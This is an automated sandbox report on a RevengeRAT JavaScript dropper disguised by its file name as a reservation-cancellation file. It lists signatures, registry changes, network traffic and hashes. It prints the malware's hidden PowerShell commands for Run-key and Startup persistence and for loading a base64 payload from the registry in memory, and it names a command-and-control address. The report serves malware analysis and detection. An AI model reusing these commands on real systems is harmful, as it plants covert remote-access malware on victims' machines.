Malware Analysis Report

2025-01-18 04:47

Sample ID 241015-ylpq4steme
Target 213124dadoscancelarareserva.js
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
Tags
revengerat nyancatrevenge execution persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

Threat Level: Known bad

The file 213124dadoscancelarareserva.js was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge execution persistence trojan

RevengeRAT

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Drops startup file

Checks computer location settings

Adds Run key to start application

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-15 19:52

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-15 19:52

Reported

2024-10-15 19:55

Platform

win7-20240903-en

Max time kernel

128s

Max time network

144s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js

Signatures

RevengeRAT

trojan revengerat

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213124dadoscancelarareserva.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213124dadoscancelarareserva.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1832 wrote to memory of 2100 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 2100 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 2100 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2100 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2100 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2100 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2876 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2660 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2660 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2660 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp

Files

memory/2100-4-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

memory/2100-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

memory/2100-7-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2100-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

memory/2100-8-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2100-9-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2100-10-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

memory/2100-12-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js

MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VL8SKY0WUKK9HJ215FKQ.temp

MD5 96dc5b3c63a31d1b8a46d6d7cd2f41d2
SHA1 ea5646904c7a0d3c6d6abdd28a9edcad47880fbe
SHA256 d3f03cf801912abb53c2d36032ad22e62281f5cb049d68614000b1febb035b63
SHA512 4b88230155e83d2e08e1758a3b7ed552496d370107a061a35470624f1b26d0349cbdc5cf2bc19893079f029d5f7292c90c1eda6ba0659859d0ad18b9530828c7

memory/2952-29-0x0000000002C70000-0x0000000002C7A000-memory.dmp

memory/2100-31-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

memory/2100-32-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-15 19:52

Reported

2024-10-15 19:55

Platform

win10v2004-20241007-en

Max time kernel

141s

Max time network

144s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js

Signatures

RevengeRAT

trojan revengerat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213124dadoscancelarareserva.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213124dadoscancelarareserva.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 20.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 16.241.146.54.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 22.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 54.146.241.16:5222 tcp

Files

memory/4332-0-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

memory/4332-1-0x000001C9B4B80000-0x000001C9B4BA2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fta4tegl.obi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4332-11-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

memory/4332-12-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

memory/4332-13-0x000001C9B6F40000-0x000001C9B6F84000-memory.dmp

C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js

MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

memory/4332-16-0x000001C9B7220000-0x000001C9B7296000-memory.dmp

memory/4004-45-0x000001DBD8470000-0x000001DBD847A000-memory.dmp

memory/4332-46-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

memory/4332-47-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c